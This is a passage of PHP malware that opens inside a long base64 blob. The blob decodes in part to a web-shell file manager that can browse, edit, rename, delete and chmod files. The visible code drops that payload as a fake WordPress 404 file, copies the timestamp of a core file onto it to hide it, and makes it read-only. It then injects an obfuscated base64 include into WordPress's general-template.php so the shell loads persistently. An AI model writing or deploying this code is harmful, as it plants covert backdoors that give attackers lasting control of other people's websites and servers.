s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}
